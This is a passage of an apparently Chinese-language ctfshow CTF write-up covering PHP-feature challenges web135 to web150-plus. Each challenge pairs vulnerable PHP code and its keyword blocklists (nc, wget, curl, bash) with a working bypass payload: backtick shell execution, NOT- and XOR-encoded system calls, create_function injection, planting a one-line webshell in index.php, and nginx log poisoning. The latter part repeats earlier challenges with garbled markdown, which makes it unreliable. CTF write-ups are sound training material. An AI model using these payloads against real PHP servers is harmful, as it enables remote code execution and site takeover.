将字符串解析到变量中

如果未设置 array 参数,则由该函数设置的变量将覆盖已存在的同名变量。

payload:?_POST[key1]=36d&_POST[key2]=36d

web135

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("师傅们居然破解了前面的,那就来一个加强版吧");
    }
}

Linux中的cp命令

利用cp命令将flag.php写入1.txt,然后访问1.txt

payload:
?F=`$F` ;cp flag.php 1234.txt
/1234.txt

注意是反引号,相当于shell_exec()函数

web136

error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
} 

Linux tee命令

tee file //覆盖

tee -a file //追加

tee - //输出到标准输出两次

tee --//输出到标准输出三次

tee file1 file2 // 输出到标准输出两次,并写到那两个文件中

ls | tee file

另:把标准错误也被tee读取 ls “*” 2>&1 | tee ls.txt

?c=ls /|tee 1  //将根目录下的内容写入1
/1             //访问1,下载文件得到f149_15_h3r3
?c=nl /f149_15_h3r3|tee 2//将flag内容写入2
/2             //访问2,下载得flag

web137


error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}



call_user_func($_POST['ctfshow']); 

调用类中函数

利用call_user_func()函数,通过post传入得ctfshow的值,来回调ctfshow类中的getFlag函数

payload:ctfshow=ctfshow::getFlag

web138

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}

if(strripos($_POST['ctfshow'], ":")>-1){
    die("private function");
}

call_user_func($_POST['ctfshow']); 

同样是回调函数,只不过多了一步过滤而已,利用回调函数传入两个参数

call_user_func函数的使用


<?php

class myclass {
    static function say_hello()
    {
        echo "Hello!\n";
    }
}

$classname = "myclass";

call_user_func(array($classname, 'say_hello'));                 #利用了这里
call_user_func($classname .'::say_hello'); // As of 5.2.3

$myobject = new myclass();

call_user_func(array($myobject, 'say_hello'));

?>

以上实例会输出

Hello!
Hello!
Hello!

由上可知,传入的参数可以是一个数组,数组第一个值为类名,之后的值为调用的函数名

故可以构造payload

ctfshow[0]=ctfshow&ctfshow[1]=getFlag

web139

function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
} 

可以利用给出的脚本跑出flag

web140

error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
    $f1 = (String)$_POST['f1'];
    $f2 = (String)$_POST['f2'];
    if(preg_match('/^[a-z0-9]+$/', $f1)){
        if(preg_match('/^[a-z0-9]+$/', $f2)){
            $code = eval("return $f1($f2());");
            if(intval($code) == 'ctfshow'){
                echo file_get_contents("flag.php");
            }
        }
    }
}


弱比较函数调用

在intval($code)=='ctfshow’中,由于是弱比较,等号右侧为0,只需让等号左侧也为字符串即可

利用eval()命令执行函数,来执行内部代码,生成一个字符串即可拿到flag

payload:f1=sha1&f2=md5

web141

#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/^\W+$/', $v3)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

/^\W+$/

/^\W+$/用于匹配非数字字母下划线的字符

取反绕过

$system = "system";
$command = "cat f*";
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

运行脚本构造 system(‘cat f*’),得到

payload:?v1=1&v3=-(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5)-&v2=1

数字和命令可以进行一些运算

1-phpinfo(); 可以执行phpinfo()

异或运算

相同为0,不同为1

web142

error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
    $v1 = (String)$_GET['v1'];
    if(is_numeric($v1)){
        $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
        sleep($d);
        echo file_get_contents("flag.php");
    }
}

直接构造v1=0,得到flag

web143

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

过滤了加减,还可以用乘除,过滤了~还可以用异或构造命令

payload:?v1=10&v2=0&v3=*("%0c%19%0c%5c%60%60"^"%7f%60%7f%28%05%0d") ("%0e%0c%00%00"^"%60%60%20%2a")?>

web144

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && check($v3)){
        if(preg_match('/^\W+$/', $v2)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

function check($str){
    return strlen($str)===1?true:false;
}

同143题差距不大,仍使用上一题的payload即可,只需要对调一下v2和v3参数的值

payload:?v1=10&v3=1&v2=*("%0c%19%0c%5c%60%60"^"%7f%60%7f%28%05%0d") ("%0e%0c%00%00"^"%60%60%20%2a")?>

web145

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

三目运算符

eval(“return 1?phpinfo():1;”);

该命令是可以执行phpinfo()的,所以可以借助三目运算符绕过

所以只需要对前面的payload稍加修改

payload:?v1=1&v3=?(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5):&v2=1

web146

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
} 

过滤了:和; ,所以没有办法使用三目运算符

等号和位运算符

eval("return 1==phpinfo()||2;");

故payload

?v1=1&v3===(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5)||&v2=1

web147

highlight_file(__FILE__);

if(isset($_POST['ctf'])){
    $ctfshow = $_POST['ctf'];
    if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
        $ctfshow('',$_GET['show']);
    }

}

create_function()函数注入

create_function('$a','echo $a."123"')

类似于

function f($a) {
  echo $a."123";
}

-D匹配非数字

用}闭合原来的函数,然后执行命令,然后再把多余的}给注释掉就可以了

php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径; 而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法

payload:
?show=}system("cat f*");/*
ctf=\create_function

web148

include 'flag.php';
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
        die("error");
    }
    @eval($code);
}
else{
    highlight_file(__FILE__);
}

function get_ctfshow_fl0g(){
    echo file_get_contents("flag.php");
}

没有过滤^直接构造异或

?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%02"^"%7d%60%60%21%60%28");

或者利用中文变量

也是构造异或

code=$哈="`{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f*

web149


error_reporting(0);
highlight_file(__FILE__);

$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}

file_put_contents($_GET['ctf'], $_POST['show']);

$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
} 

条件竞争

非预期解

利用file_put_content()函数写入index.php中一句话木马

payload:
?ctf=index.php
show=
然后蚁剑链接

web150

include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
    private $username;
    private $password;
    private $vip;
    private $secret;

    function __construct(){
        $this->vip = 0;
        $this->secret = $flag;
    }

    function __destruct(){
        echo $this->secret;
    }

    public function isVIP(){
        return $this->vip?TRUE:FALSE;
        }
    }

    function __autoload($class){
        if(isset($class)){
            $class();
    }
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
    die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
    echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE){
    include($ctf);
} 

非预期解-日志包含

首先在UA头中写入一句话木马


然后利用ctf传参,传入日志的路径,使日志被访问

ctf=/var/log/nginx/access.log

设置isVIP的值为1,使最下面的if条件成立

?isVIP=1

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kfmqiOfH-1643189283273)(C:\Users\86186\AppData\Roaming\Typora\typora-user-images\image-20220126165730283.png)]

web150-plus

include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
    private $username;
    private $password;
    private $vip;
    private $secret;

    function __construct(){
        $this->vip = 0;
        $this->secret = $flag;
    }

    function __destruct(){
        echo $this->secret;
    }

    public function isVIP(){
        return $this->vip?TRUE:FALSE;
        }
    }

    function __autoload($class){
        if(isset($class)){
            $class();
    }
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
    die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
    echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
    include($ctf);
}

__autoload()

当第一次使用一个类A时,如果找不到,会自动调用__autoload()方法,并将类名A作为参数传入,我们在 __autoload() 中需要的做的就是根据类名,找到相应的文件,并包含进来。

本题中class_exists()类是第一次使用,可以通过对它的使用来调用autoload()这个魔术方法输出变量$class

过滤掉了 _ ,可以通过…绕过

因为题中有extract函数,会将传入的数组解析掉,所以get传入:?..CTFSHOW…=phpinfo

?..CTFSHOW..=phpinfo

传入后,调用__autoload()函数,实现phpinfo();

去phpinfo()环境变量中发现flag

private $username;
private $password;
private $vip;
private $secret;

function __construct(){
    $this->vip = 0;
    $this->secret = $flag;
}

function __destruct(){
    echo $this->secret;
}

public function isVIP(){
    return $this->vip?TRUE:FALSE;
    }
}

function __autoload($class){
    if(isset($class)){
        $class();
}

}

#过滤字符
$key = $_SERVER[‘QUERY_STRING’];
if(preg_match(’/_| |[|]|?/’, $key)){
die(“error”);
}
$ctf = P O S T [ ′ c t f ′ ] ; e x t r a c t ( _POST['ctf']; extract( POST[ctf];extract(_GET);
if(class_exists($CTFSHOW)){
echo “class is exists!”;
}

if(KaTeX parse error: Expected 'EOF', got '&' at position 7: isVIP &̲& strrpos(ctf, “:”)===FALSE){
include($ctf);
}


### 非预期解-日志包含

首先在UA头中写入一句话木马


然后利用ctf传参,传入日志的路径,使日志被访问

ctf=/var/log/nginx/access.log


设置isVIP的值为1,使最下面的if条件成立

?isVIP=1

ctfshow-php特性_第2张图片




## web150-plus

~~~php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
    private $username;
    private $password;
    private $vip;
    private $secret;

    function __construct(){
        $this->vip = 0;
        $this->secret = $flag;
    }

    function __destruct(){
        echo $this->secret;
    }

    public function isVIP(){
        return $this->vip?TRUE:FALSE;
        }
    }

    function __autoload($class){
        if(isset($class)){
            $class();
    }
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
    die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
    echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
    include($ctf);
}

__autoload()

当第一次使用一个类A时,如果找不到,会自动调用__autoload()方法,并将类名A作为参数传入,我们在 __autoload() 中需要的做的就是根据类名,找到相应的文件,并包含进来。

本题中class_exists()类是第一次使用,可以通过对它的使用来调用autoload()这个魔术方法输出变量$class

过滤掉了 _ ,可以通过 '… '绕过

因为题中有extract函数,会将传入的数组解析掉,所以get传入:?..CTFSHOW…=phpinfo

?..CTFSHOW..=phpinfo

传入后,调用__autoload()函数,实现phpinfo();

去phpinfo()环境变量中发现flag

你可能感兴趣的:(CTF专题,php,安全,web安全)